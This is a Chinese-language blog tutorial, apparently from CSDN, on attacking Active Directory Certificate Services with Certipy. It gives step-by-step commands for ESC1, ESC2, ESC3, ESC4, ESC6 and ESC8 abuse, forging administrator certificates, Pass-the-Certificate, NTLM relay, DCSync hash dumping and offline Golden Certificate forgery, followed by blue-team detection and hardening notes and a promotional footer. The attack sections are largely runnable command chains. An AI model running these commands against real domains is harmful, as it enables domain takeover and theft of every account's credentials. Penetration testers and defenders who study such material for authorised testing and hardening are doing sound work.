news 2026/10/14 2:15:19

域渗透神器 Certipy:AD‑CS 证书漏洞挖掘与利用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
域渗透神器 Certipy:AD‑CS 证书漏洞挖掘与利用

🔒免责声明:本文全部技术内容仅限授权渗透测试、红蓝对抗、安全学习研究使用。未经目标域环境书面授权,禁止在企业 AD 域执行证书枚举、证书申请、提权、伪造证书等攻击操作,未授权访问计算机系统属于违法行为。全部演示基于自建隔离靶场,请勿直接复制命令到业务内网执行。

目录

    • 1. AD‑CS 基础概念,什么是 ESC 漏洞系列
      • 1.1 AD‑CS 是什么
      • 1.2 ESC 漏洞系列简介
    • 2. Certipy 环境安装、基础参数说明
      • 2.1 安装命令
      • 2.2 Certipy 核心子模块总览
      • 2.3 通用公共参数
    • 3. 信息收集:枚举 CA 机构、扫描证书模板、自动识别 ESC 漏洞
      • 3.1 基础扫描命令
      • 3.2 导出完整 json 报告,后续可以二次分析
    • 4. ESC1 漏洞原理 + Certipy 完整实战(最经典高危模板漏洞)
      • 4.1 ESC1 漏洞原理
      • 4.2 ESC1 漏洞完整利用命令
    • 5. ESC2、ESC3 漏洞原理与实操
      • 5.1 ESC2 漏洞 Any Purpose 任意用途 EKU
      • 5.2 ESC3 Enrollment Agent 证书申请代理
    • 6. ESC4 漏洞:模板 ACL 权限滥用,修改模板构造 ESC1 漏洞
      • 6.1 ESC4 原理
      • 6.2 Certipy ESC4 完整操作流程
    • 7. ESC6 CA 全局配置漏洞;ESC8 NTLM 中继攻击 AD‑CS Web 端点
      • 7.1 ESC6 CA 全局 EDITF_ATTRIBUTESUBJECTALTNAME2 漏洞
      • 7.2 ESC8 NTLM Relay 中继攻击 AD‑CS Web 注册端点
    • 8. Pass‑the‑Certificate:pfx 证书认证,拿到域用户 NTLM 哈希
    • 9. 完整靶场实战:普通域用户通过 ESC1 漏洞拿下域控完整链路
    • 10. CA 备份、证书持久化、Golden Certificate 黄金证书伪造
      • 10.1 导出 CA 备份 pfx(需要 CA 服务器本地管理员权限)
      • 10.2 forge 模块离线伪造黄金证书
    • 11. Certipy 高频报错踩坑大全
      • 问题 1:certipy‑ad find 扫描 LDAP 连接失败
      • 问题 2:certipy‑ad req 申请证书返回 Denied,拒绝申请
      • 问题 3:证书申请成功拿到 pfx,但是 certipy‑ad auth 认证失败
      • 问题 4:ESC4 修改模板之后,申请证书依旧失败
      • 问题 5:ESC8 NTLM‑Relay 没有拿到 pfx 证书
      • 问题 6:pfx 证书导入 Windows,Rubeus asktgt 失败
    • 12. Certipy 与 Certify、Rubeus 工具配合使用
    • 13. 蓝队视角:AD‑CS 攻击日志检测、加固修复方案
      • 13.1 关键事件 ID 狩猎
      • 13.2 企业 AD‑CS 加固修复建议
    • 14. AD‑CS Certipy 面试高频考点整理
    • 15. 全文总结
      • 一、网络安全(黑客)学习路线
      • 二、网络安全教程视频
      • 三、网络安全CTF实战案例
      • 四、网络安全面试题

摘要
AD‑CS(Active Directory Certificate Services,活动目录证书服务)是 Windows 域环境常用组件,用于颁发域内用户、机器身份证书。大量企业运维对证书模板权限配置疏忽,产生 ESC1‑ESC8 等高危配置漏洞,攻击者仅凭普通域用户权限,即可申请伪造域管理员证书,通过证书认证拿下域控权限,实现域提权、横向移动、持久化后门。

Certipy 是目前 AD‑CS 攻击最主流开源工具,完全替代旧版 Certify 工具,支持 CA 证书机构枚举、证书模板扫描、自动识别 ESC 系列漏洞、申请恶意证书、证书认证、NTLM‑Relay 配合 ESC8 攻击、证书持久化、CA 备份伪造证书等全套能力。

很多安全学习者只会简单跑certipy find扫描,看不懂扫描输出报告,分不清 ESC 各个漏洞利用前置条件;申请证书报错、pfx 证书认证失败,搞不懂 Pass‑the‑Certificate 证书传递原理;遇到证书模板审批、ACL 权限问题束手无策。本文完整讲解 AD‑CS 基础概念、Certipy 环境安装、信息枚举、ESC1/ESC2/ESC3/ESC4/ESC6/ESC8 漏洞原理 + 完整实战命令、证书认证 Pass‑the‑Certificate、完整攻击链路、高频踩坑排错、蓝队检测加固方案、面试高频考点,形成完整实战手册。

MITRE ATT&CK 映射:T1649 窃取或伪造身份证书,T1558 Kerberos 票据伪造,T1550.003 Pass‑the‑Ticket 票据传递,T1021.002 SMB 横向移动。

1. AD‑CS 基础概念,什么是 ESC 漏洞系列

1.1 AD‑CS 是什么

AD‑CS 是 Windows 活动目录证书服务,企业部署之后搭建 CA 证书服务器,可以给域用户、域机器颁发 X.509 数字证书。证书携带用户身份信息(UPN、SID),支持 Kerberos 证书认证,拿到合法证书就可以代表对应账号身份登录域,不需要明文密码、不需要 NTLM 哈希。

证书里面两个关键属性:

  1. SAN(Subject Alternative Name,主题备用名称):可以填写账号 UPN,标识这个证书代表哪一个域账号;
  2. EKU(增强型密钥用法):决定证书能干什么,Client Authentication(1.3.6.1.5.5.7.3.2)代表客户端身份认证,拥有这个 EKU 的证书才能用来做域 Kerberos 认证。

核心风险:如果配置出错,攻击者申请证书时可以自定义 SAN,填写域管理员 UPN,CA 服务器就会颁发一张代表域管理员的合法证书,攻击者拿着 pfx 证书文件,就能以域管理员身份和域控通信。

1.2 ESC 漏洞系列简介

ESC 是 “Misconfigured Certificate Template” 系列漏洞代号,不是软件 0day 漏洞,绝大多数属于配置错误,只有少量属于 CVE 代码漏洞。

漏洞编号核心简述攻击前置条件
ESC1申请者可自定义 SAN,模板拥有 Client‑Auth EKU,普通用户拥有注册权限低权限用户可以 Enroll 注册模板,模板开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标记,包含客户端认证 EKU
ESC2模板 EKU 无限制 Any Purpose,任意用途证书模板 EKU 为 Any Purpose,允许注册,可自定义 SAN
ESC3Enrollment Agent 申请代理 EKU,可代表其他用户申请证书存在证书申请代理模板,第二个模板允许代理注册
ESC4低权限用户拥有模板写权限 (WriteDacl/WriteOwner/WriteProperty)攻击者可以修改模板属性,把安全模板改成 ESC1 恶意模板
ESC5CA 机构对象 ACL 权限配置错误对 CA 对象拥有高权限,可篡改 CA 配置
ESC6CA 全局开启 EDITF_ATTRIBUTESUBJECTALTNAME2CA 服务器全局允许所有模板申请者自定义 SAN,所有模板全部沦陷,高危
ESC7CA 管理员权限滥用,添加证书管理员,审批恶意证书申请拥有 CA 管理员权限,手动颁发恶意证书
ESC8AD‑CS Web 注册端点支持 NTLM 认证,可 Responder 中继CA 开启 HTTP 证书注册服务,支持 NTLM 认证,配合 NTLM Relay 获取机器证书certipy.co…

注意:ESC 漏洞不等于代码漏洞,绝大多数是运维配置不当,打补丁无法修复,需要修改证书模板、CA 权限配置。Certipy 工具可以自动扫描识别以上全部风险点。

2. Certipy 环境安装、基础参数说明

Certipy 项目原仓库 ly4k/Certipy,现在维护包名为certipy‑ad,Kali 使用 pip 安装,注意包名不是 certipy,是 certipy‑ad,很多新手安装错包。

2.1 安装命令

#pip安装最新版本 pip3 install certipy‑ad #查看帮助,确认安装成功 certipy‑ad -h

工具执行命令:certipy‑ad,部分环境可以软链接别名certipy。

2.2 Certipy 核心子模块总览

子命令模块功能说明
certipy‑ad find信息枚举,扫描 CA、证书模板,自动检测 ESC 漏洞,最重要模块
certipy‑ad req发起证书申请请求,向 CA 申请证书
certipy‑ad auth使用 pfx 证书做认证,获取 TGT 票据,导出账号 NTLM 哈希(Pass‑the‑Certificate)
certipy‑ad ca管理 CA 服务器,发布证书、处理待审批请求、备份 CA 证书数据库
certipy‑ad template修改证书模板配置(ESC4 利用)
certipy‑ad forgeCA 私钥备份之后,伪造 Golden Certificate 黄金证书

2.3 通用公共参数

-u / -username:域账号,格式 user@corp.local -p / -password:账号密码 -dc‑ip:填写域控IP,DNS解析异常时必须指定 ‑target:CA证书服务器主机名或者IP ‑ca:指定CA证书机构名称,扫描find结果可以拿到CA名字

环境注意:Kali 的/etc/resolv.conf必须配置域 DNS(域控 IP),否则 LDAP 枚举、Kerberos 证书认证全部失败;系统时间和域控时间误差不能大于 5 分钟,Kerberos 严格校验时间。

3. 信息收集:枚举 CA 机构、扫描证书模板、自动识别 ESC 漏洞

渗透测试拿到普通域用户账号密码之后,第一步使用certipy‑ad find做全量扫描,自动枚举域内所有 CA 服务器、全部证书模板,自动判断哪些模板存在 ESC 风险。

3.1 基础扫描命令

certipy‑ad find -u lowuser@corp.local -p 'Password@123' -dc‑ip 192.168.10.10 -vulnerable -enabled -stdout

参数解释:

  • -vulnerable:只输出识别出来存在 ESC 漏洞的模板,过滤安全模板;
  • -enabled:只扫描启用状态的证书模板;
  • -stdout控制台直接输出,不保存 json 文件;不写该参数会自动输出 json 报告。

扫描输出重点观察内容:

  1. Certificate Authorities:列出域全部 CA 机构名称、CA 服务器主机地址;
  2. Vulnerable Templates:列出所有存在 ESC 风险的模板,标记 ESC1/ESC2/ESC4 编号;
  3. 每一个模板输出:模板名、需要的 ESC 条件、哪些用户组拥有 Enroll(注册)权限。

关键判断:即使模板标记 ESC1,如果普通域用户没有 Enroll 注册权限,也无法直接利用。

3.2 导出完整 json 报告,后续可以二次分析

certipy‑ad find -u lowuser@corp.local -p 'Password@123' -dc‑ip 192.168.10.10

执行之后本地生成certipy‑find.json,保存全部 CA、模板详细属性。

坑点:扫描失败报错 LDAP 连接超时,检查 Kali DNS 配置、防火墙 389 端口连通域控。

4. ESC1 漏洞原理 + Certipy 完整实战(最经典高危模板漏洞)

4.1 ESC1 漏洞原理

ESC1 是实战环境遇到最多的 AD‑CS 配置错误。
满足全部 3 个条件即可利用:

  1. 证书模板开启标记CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT:允许证书申请者自定义 SAN 主题备用名称;
  2. 模板 EKU 包含Client Authentication(1.3.6.1.5.5.7.3.2)客户端认证用途;
  3. 普通域用户(Authenticated Users / Domain Users)拥有这个模板的 Enroll 注册权限。

攻击者使用普通账号申请证书,手动指定‑upn administrator@corp.local,CA 服务器不会校验 SAN 身份,直接颁发一张代表域管理员的 pfx 证书,拿到 pfx 文件就可以模拟域管理员身份做 Kerberos 认证。

重点:模板本身没有绑定真实账号身份,攻击者申请的时候随便写 UPN。

4.2 ESC1 漏洞完整利用命令

扫描发现漏洞模板名称Vuln‑User‑Template,CA 名称为CORP‑DC01‑CA。

第一步:向 CA 服务器申请证书,指定伪造的 UPN 为域管理员

certipy‑ad req \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑ca CORP‑DC01‑CA \ ‑template Vuln‑User‑Template \ ‑upn administrator@corp.local \ ‑dc‑ip 192.168.10.10 \ ‑target dc01.corp.local

执行成功输出:
Saved certificate and private key to 'administrator.pfx'
本地生成administrator.pfx,包含证书 + 私钥,这个文件就是域管理员身份凭证。

如果模板开启 “证书申请需要管理员审批”,申请之后不会直接下发,会返回 Request ID,需要 CA 管理员执行certipy‑ad ca ‑issue‑request <id>审批才能拿到证书。

第二步:拿到 pfx 证书,执行 Pass‑the‑Certificate 证书认证,获取 Kerberos TGT 票据,导出 NTLM 哈希

certipy‑ad auth -pfx administrator.pfx -dc‑ip 192.168.10.10

工具会完成:

  1. 使用 pfx 证书向 KDC 申请域管理员 TGT 票据;
  2. 输出 administrator 账号 NTLM Hash;
  3. 自动保存 ccache 票据文件administrator.ccache。

拿到 ccache 之后设置环境变量,就可以使用 Impacket 全套工具执行 DCSync、访问域控资源:

export KRB5CCNAME=administrator.ccache secretsdump.py -k dc01.corp.local

ESC1 完整攻击链路:普通域用户账号 → 申请伪造 SAN 证书 → 获取 pfx → 证书认证拿到 TGT 与 NTLM 哈希 → DCSync 导出域全部哈希,拿下整个域。

5. ESC2、ESC3 漏洞原理与实操

5.1 ESC2 漏洞 Any Purpose 任意用途 EKU

ESC2 条件:证书模板 EKU 设置为Any Purpose(任意用途),同时允许申请者提供 SAN,普通用户拥有 Enroll 注册权限。

Any Purpose 代表这张证书可以用于所有操作,包含客户端身份认证。利用方式和 ESC1 几乎一模一样,申请证书指定‑upn 伪造管理员 UPN。

certipy‑ad req \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑ca CORP‑DC01‑CA \ ‑template ESC2‑Template \ ‑upn administrator@corp.local \ ‑dc‑ip 192.168.10.10

拿到 pfx 之后同样使用certipy‑ad auth完成证书认证。

5.2 ESC3 Enrollment Agent 证书申请代理

ESC3 分为两步攻击,需要两套模板:

  1. 模板 A:拥有Certificate Request Agent(证书申请代理)EKU,普通用户可以注册,申请得到一张代理 Agent 证书;
  2. 模板 B:支持 Enroll On Behalf Of(代表其他人申请),可以使用 Agent 证书代表其他账号申请证书。

攻击流程:
第一步,申请 Enrollment Agent 代理证书

certipy‑ad req \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑ca CORP‑DC01‑CA \ ‑template Agent‑Template \ ‑dc‑ip 192.168.10.10

输出得到 agent.pfx 代理证书。

第二步,使用代理证书,代表域管理员申请客户端认证证书

certipy‑ad req \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑ca CORP‑DC01‑CA \ ‑template User \ ‑on‑behalf‑of administrator@corp.local \ ‑agent‑pfx agent.pfx \ ‑dc‑ip 192.168.10.10

拿到 administrator.pfx,继续 certipy‑ad auth 认证。

ESC3 现实环境相对 ESC1 少见,企业很少配置 Enrollment Agent 模板。

6. ESC4 漏洞:模板 ACL 权限滥用,修改模板构造 ESC1 漏洞

6.1 ESC4 原理

ESC4 不属于模板本身属性漏洞;当低权限域用户,对某一张证书模板拥有写权限(WriteDacl / WriteProperty / WriteOwner),攻击者可以远程修改这个证书模板配置,人为把普通安全模板修改成 ESC1 漏洞模板,之后再申请恶意证书完成提权。

攻击前置条件:

  1. 当前账号对证书模板对象拥有 WriteDacl / WriteProperty / WriteOwner 权限;
  2. 模板本身启用,允许当前用户 Enroll 注册。

攻击风险:会修改 AD 域内真实证书模板配置,红蓝对抗环境结束必须恢复模板原始配置,避免影响业务。

6.2 Certipy ESC4 完整操作流程

第一步:备份模板原始配置(非常重要,攻击结束还原)

certipy‑ad template \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑dc‑ip 192.168.10.10 \ ‑template Safe‑User‑Template \ ‑save‑old

原始配置保存为 json 文件。

第二步:修改模板,增加 ESC1 漏洞属性,开启允许申请者提供 SAN,添加 Client‑Auth EKU

certipy‑ad template \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑dc‑ip 192.168.10.10 \ ‑template Safe‑User‑Template \ ‑set‑enrollee‑supplies‑subject true \ ‑add‑eku "Client Authentication"

修改完成之后,这个模板就具备 ESC1 全部条件。

第三步:像 ESC1 一样,使用修改之后的模板申请伪造管理员证书

certipy‑ad req \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑ca CORP‑DC01‑CA \ ‑template Safe‑User‑Template \ ‑upn administrator@corp.local \ ‑dc‑ip 192.168.10.10

第四步:攻击完成,恢复模板原始配置,一定要执行,不要遗留风险配置在域环境!

certipy‑ad template \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑dc‑ip 192.168.10.10 \ ‑template Safe‑User‑Template \ ‑load‑old safe‑user‑template‑old.json

重大 OPSEC 提醒:ESC4 会改动 AD 对象属性,域控制器会产生大量 4662 AD 对象修改日志,蓝队很容易捕获攻击行为。

7. ESC6 CA 全局配置漏洞;ESC8 NTLM 中继攻击 AD‑CS Web 端点

7.1 ESC6 CA 全局 EDITF_ATTRIBUTESUBJECTALTNAME2 漏洞

ESC6 不是模板漏洞,是CA 证书服务器本身注册表全局配置,开启EDITF_ATTRIBUTESUBJECTALTNAME2标记之后,域内所有证书模板全部允许申请者自定义 SAN,无论模板本身配置是什么,整个 AD‑CS 全部沦陷,高危等级最高。

运维错误命令:certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2,开启 ESC6 风险;修复命令把加号改为减号,重启 certsvc 证书服务。

利用方式和 ESC1 完全一致,随便找一个具备 Client‑Auth EKU、允许注册的模板,申请证书时指定‑upn 即可伪造身份。

certipy‑ad req \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑ca CORP‑DC01‑CA \ ‑template User \ ‑upn administrator@corp.local \ ‑dc‑ip 192.168.10.10

7.2 ESC8 NTLM Relay 中继攻击 AD‑CS Web 注册端点

ESC8 不需要域账号密码,依赖 NTLM 中继攻击。
前提条件:CA 服务器开启 HTTP 证书注册 Web 服务http://ca/certsrv,该 Web 端点支持 NTLM 身份认证。

攻击原理:使用 Responder 捕获内网机器 NTLM Net‑NTLMv2 认证,中继到 CA 的 /certsrv 证书注册接口,以被中继机器账号身份申请机器证书,拿到机器 pfx 证书文件。拿到域控机器账号证书,就可以 DCSync 导出域全部哈希。

Certipy ESC8 配合 impacket‑relay 脚本,监听中继:

impacket‑ntlmrelayx.py -t http://ca01/certsrv/certfnsh.asp -smb2support --adcs

当受害者机器向攻击机做 NTLM 认证,relay 会自动向 CA 申请机器证书,保存 pfx 证书。
拿到机器 pfx 之后,certipy‑ad auth 完成认证。

ESC8 风险:很多企业开启 AD‑CS 的 Web 注册页面,没有关闭 NTLM 认证,内网一台机器沦陷直接中继拿域控权限。

8. Pass‑the‑Certificate:pfx 证书认证,拿到域用户 NTLM 哈希

Pass‑the‑Certificate(PtC,证书传递),对应票据传递 PTT,pfx 证书就是身份凭证。
pfx 文件内部包含:X509 证书 + 对应的 RSA 私钥。Certipy 的certipy‑ad auth模块封装 PtC 完整逻辑:

  1. 使用证书私钥,向域控 KDC 发送 AS‑REQ 请求,申请该账号 TGT 票据;
  2. 成功获取 TGT 之后,工具会同时输出账号 NTLM 哈希;
  3. 自动输出 ccache 票据文件,给 Impacket 工具使用。
#pfx文件,无密码直接执行 certipy‑ad auth -pfx administrator.pfx -dc‑ip 192.168.10.10 #pfx设置密码,使用‑password参数 certipy‑ad auth -pfx administrator.pfx -password '123456' -dc‑ip 192.168.10.10

Windows 平台,Rubeus 工具也支持 PtC:Rubeus.exe asktgt /pfx:administrator.pfx,生成 kirbi 票据,mimikatz kerberos::ptt 注入。

重要:pfx 证书本身可以离线拷贝,内网横向移动,攻击者可以把 pfx 拷贝到任意一台机器,只要网络连通域控,就能完成 Kerberos 认证,不需要登录原始申请证书主机。

9. 完整靶场实战:普通域用户通过 ESC1 漏洞拿下域控完整链路

靶场环境:
域 corp.local,域控 dc01.corp.local(192.168.10.10);CA 部署在域控;普通域账号 lowuser,密码 Password@123;扫描发现存在 ESC1 漏洞模板 VulnTemplate。

步骤 1:配置 Kali DNS 指向域控 IP,保证 LDAP、Kerberos 解析正常

echo "nameserver 192.168.10.10" > /etc/resolv.conf

步骤 2:扫描 AD‑CS,确认 ESC1 漏洞模板

certipy‑ad find -u lowuser@corp.local -p 'Password@123' -dc‑ip 192.168.10.10 -vulnerable -enabled -stdout

步骤 3:利用 ESC1 模板,申请伪造域管理员 UPN 证书

certipy‑ad req -u lowuser@corp.local -p 'Password@123' -ca CORP‑DC01‑CA -template VulnTemplate -upn administrator@corp.local -dc‑ip 192.168.10.10

本地得到 administrator.pfx。

步骤 4:Pass‑the‑Certificate 证书认证,获取 TGT、NTLM 哈希、ccache 票据

certipy‑ad auth -pfx administrator.pfx -dc‑ip 192.168.10.10

输出 administrator NT‑Hash,生成 administrator.ccache。

步骤 5:设置 KRB5CCNAME 环境变量,使用 Impacket secretsdump 执行 DCSync,导出域全部账号哈希

export KRB5CCNAME=administrator.ccache secretsdump.py -k dc01.corp.local

至此,普通域用户权限,通过 AD‑CS ESC1 配置错误,完全拿下整个活动目录域。

10. CA 备份、证书持久化、Golden Certificate 黄金证书伪造

Golden Certificate(黄金证书),区别于黄金票据。攻击者拿到 CA 服务器的 CA 私钥备份 pfx 文件,可以本地离线伪造任意账号证书,不需要和 CA 服务器交互,属于域持久化后门。

10.1 导出 CA 备份 pfx(需要 CA 服务器本地管理员权限)

在 CA 服务器执行 certutil 备份 CA 数据库与私钥,或者 Certipy 远程备份:

certipy‑ad ca -backup -ca CORP‑DC01‑CA -u caadmin@corp.local -p 'Password@123' -dc‑ip 192.168.10.10

得到 ca.pfx,里面是 CA 根证书 + CA 签名私钥。

10.2 forge 模块离线伪造黄金证书

拿到 ca.pfx 之后,攻击者本地离线伪造任意账号 pfx 证书,不需要访问 CA 服务器。

certipy‑ad forge \ ‑ca‑pfx ca.pfx \ ‑upn administrator@corp.local \ ‑dc‑ip 192.168.10.10

输出伪造的 administrator‑golden.pfx,使用 certipy‑ad auth 认证。

防御关键点:CA 私钥一旦泄露,仅仅修改域账号密码无效;必须重新部署 CA,更换全部根证书,所有业务证书全部重新签发。

11. Certipy 高频报错踩坑大全

问题 1:certipy‑ad find 扫描 LDAP 连接失败

排查:Kali/etc/resolv.conf没有填写域 DNS(域控 IP);防火墙拦截 389 LDAP 端口;账号密码错误;域账号格式必须 user@corp.local。

问题 2:certipy‑ad req 申请证书返回 Denied,拒绝申请

  1. 当前账号对模板没有 Enroll 注册权限;
  2. 模板开启证书申请审批,申请需要 CA 管理员手动 Issue‑Request 审批;
  3. 模板 EKU 没有 Client Authentication,申请成功拿到 pfx 也不能做 Kerberos 身份认证;
  4. ESC6 没有开启,普通模板不允许自定义‑upn 参数,强行指定 SAN 会直接拒绝。

问题 3:证书申请成功拿到 pfx,但是 certipy‑ad auth 认证失败

  1. Kali 系统时间与域控时间相差超过 5 分钟,Kerberos 时间校验失败;
  2. 证书有效期过期;
  3. 证书缺少 Client Authentication EKU,证书不能用于身份认证;
  4. DNS 无法解析域控主机名。

问题 4:ESC4 修改模板之后,申请证书依旧失败

修改模板之后 AD 复制存在延迟,等待 AD 复制同步;确认模板修改成功,再次 find 扫描确认属性。红蓝对抗结束必须恢复原始模板配置。

问题 5:ESC8 NTLM‑Relay 没有拿到 pfx 证书

CA 服务器 certsrv 网页关闭;Web 端点禁用 NTLM 认证;防火墙拦截;目标主机没有向攻击机发起 NTLM 认证。

问题 6:pfx 证书导入 Windows,Rubeus asktgt 失败

pfx 证书私钥损坏;证书没有客户端认证 EKU;域控开启证书强映射校验。

12. Certipy 与 Certify、Rubeus 工具配合使用

  1. Certipy vs Certify
    Certify 是 C# 开发 Windows 工具,老一代 AD‑CS 扫描工具;Certipy 是现代主流工具,运行在 Linux,功能更全,支持 ESC 全系列、ESC8 中继、模板修改、CA 备份、forge 伪造黄金证书,项目持续维护。现在渗透优先 Certipy。
  2. Certipy + Rubeus 配合工作流
    Certipy(Linux):扫描 AD‑CS、申请 pfx 证书;把 pfx 传到 Windows 靶机;
    Rubeus.exeasktgt /pfx:xxx.pfx:在 Windows 上使用 pfx 证书申请 TGT,输出 kirbi 票据;mimikatz kerberos::ptt 注入票据。

工作流:Linux Certipy 拿到 pfx → 传到被控 Windows 主机 → Rubeus 做 PtC,拿到 kirbi 票据,内网横向。

13. 蓝队视角:AD‑CS 攻击日志检测、加固修复方案

AD‑CS 攻击行为日志主要看 CA 服务器事件日志、域控 AD 安全日志。

13.1 关键事件 ID 狩猎

  1. CA 服务器事件 ID 4887:CA 颁发证书事件,观察证书申请者账号与证书 SAN 内 UPN 账号不一致,就是 ESC1 攻击特征,普通低权限用户申请一张 UPN 为域管理员的证书,高风险告警。
  2. 4888:证书申请被拒绝;
  3. 域控 Sysmon 监控异常进程读取 CA 数据库文件;
  4. AD 对象 4662 事件:证书模板对象 WriteProperty、WriteDacl 修改操作(ESC4 攻击)。

13.2 企业 AD‑CS 加固修复建议

  1. 修复 ESC1:证书模板取消CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标记,非业务需要禁止申请者自定义 SAN;严格控制模板 Enroll 注册权限,普通 Authenticated Users 不要授予注册权限。
  2. 修复 ESC6 高危:清除 CA 注册表EDITF_ATTRIBUTESUBJECTALTNAME2标记,重启 certsvc 证书服务。
  3. 修复 ESC4:收紧证书模板对象 ACL 权限,普通域用户禁止 WriteDacl、WriteOwner、WriteProperty 权限。
  4. ESC8:AD‑CS 的 certsrv Web 注册端点,禁用 NTLM 认证,强制使用 Kerberos 认证。
  5. 最小权限原则,不要给普通域用户证书模板注册权限;定期使用 Certipy 做安全审计扫描全部模板。
  6. CA 服务器做好隔离,CA 属于高价值资产,不要和业务应用共用服务器。
  7. 安全事件发生,如果怀疑 CA 私钥泄露,必须重建 CA,重新签发所有业务证书。

14. AD‑CS Certipy 面试高频考点整理

  1. 什么是 AD‑CS ESC 漏洞?属于 0day 吗?
    绝大多数 ESC 漏洞属于证书模板、CA 服务配置错误,不是软件漏洞,打补丁无法修复,需要修改权限和模板属性。
  2. ESC1 漏洞触发的三个必要条件?
    ①模板开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,允许申请者自定义 SAN;②模板 EKU 包含 Client Authentication 客户端认证;③低权限用户拥有模板 Enroll 注册权限。攻击者申请证书指定‑upn 伪造高权限账号身份。
  3. ESC1 攻击完整链路?
    普通域用户 → Certipy req 申请证书,自定义 SAN (UPN) → 获取 pfx 证书文件 → Pass‑the‑Certificate 证书认证,向 KDC 申请 TGT → 获取 ccache 票据,执行 DCSync 拿下域控。
  4. Pass‑the‑Certificate (PtC) 证书传递原理,和 PTT 区别?
    pfx 证书(证书 + 私钥)作为身份凭证向 KDC 申请 TGT;PTT 使用 kirbi/ccache 票据;PtC 源头是证书,PTT 源头是已经拿到的 Kerberos 票据。Linux 使用 certipy‑ad auth,Windows 可以 Rubeus asktgt 加载 pfx。
  5. ESC4 漏洞原理,攻击注意事项?
    账号拥有证书模板 WriteDacl/WriteProperty/WriteOwner 权限,修改模板属性人为构造 ESC1 漏洞。攻击会修改 AD 真实模板,红蓝对抗结束必须还原模板原始配置,产生大量 AD 对象修改日志,OPSEC 风险高。
  6. ESC6 漏洞是什么?危害?
    CA 全局注册表开启 EDITF_ATTRIBUTESUBJECTALTNAME2,域内所有证书模板全部允许自定义 SAN,整个 AD‑CS 沦陷高危漏洞,修改注册表重启证书服务修复。
  7. ESC8 漏洞原理?
    AD‑CS 的 certsrv Web 注册端点支持 NTLM 认证,利用 NTLM Relay 中继内网机器认证,以受害者身份向 CA 申请机器证书,不需要账号密码。
  8. Golden Certificate 黄金证书和黄金票据区别?
    黄金票据:伪造 TGT,需要 krbtgt 账号哈希;
    黄金证书:拿到 CA 服务器根私钥 pfx,本地离线伪造任意账号证书,不需要和 CA 交互;CA 私钥泄露危害极大,仅修改账号密码无法防御。
  9. Certipy 主要子命令,find 模块作用?
    find:枚举 CA 机构、证书模板,自动识别 ESC1‑ESC8 风险;req:申请证书;auth:pfx 证书认证;template 修改模板;ca 管理 CA;forge 伪造黄金证书。
  10. 防御 AD‑CS 配置漏洞的关键措施?
    关闭不必要模板的 Enrollee‑Supplies‑Subject;收紧模板 ACL;修复 ESC6 注册表;certsrv 关闭 NTLM 认证;定期 Certipy 审计;CA 服务器隔离。

15. 全文总结

AD‑CS 证书服务是现代域渗透中非常重要攻击面,大量企业忽略证书模板权限审计,普通域用户权限即可直接拿下域控。Certipy 是 AD‑CS 攻击标准工具,完整覆盖枚举扫描、漏洞利用、证书认证、中继攻击、模板修改、CA 备份伪造黄金证书全套能力。

  1. 渗透流程:certipy‑ad find扫描识别 ESC 风险模板 → req 申请恶意 pfx 证书 → auth 模块 Pass‑the‑Certificate 证书认证,拿到 Kerberos TGT 与 NTLM 哈希,后续 DCSync 拿下整个域。
  2. ESC1 实战出现频率最高;ESC6 属于全局高危配置,影响域全部模板;ESC4 依靠 ACL 写权限篡改模板;ESC8 依靠 NTLM 中继不需要账号密码。
  3. pfx 证书可以离线拷贝横向移动,只要连通域控,任意主机都可以做 PtC 证书认证。
  4. ESC4 攻击会修改 AD 对象配置,红蓝对抗测试完成务必要还原模板原始属性,避免遗留安全风险。
  5. 蓝队检测重点监控 CA 服务器 4887 证书颁发事件,检测申请者账号和证书 SAN 账号不一致行为;收紧证书模板 ACL 权限,定期使用 Certipy 做 AD‑CS 安全审计。
  6. CA 私钥泄露后果极其严重,攻击者可以离线伪造黄金证书,仅修改域账号密码无法消除后门,必须重建 CA 服务。

再次声明:本文所有技术仅限授权安全测试学习,未授权访问 AD 域、滥用 AD‑CS 属于违法行为。


以上就是今天的分享,觉得有帮助,记得点赞+收藏,以上所说到的漏洞扫描工具都整理成压缩包了,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

同时还为准备学习网络安全(黑客)或者正在学习,整理了一套360独家内部资料,包含以下内容,如有需要也可文末获取:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

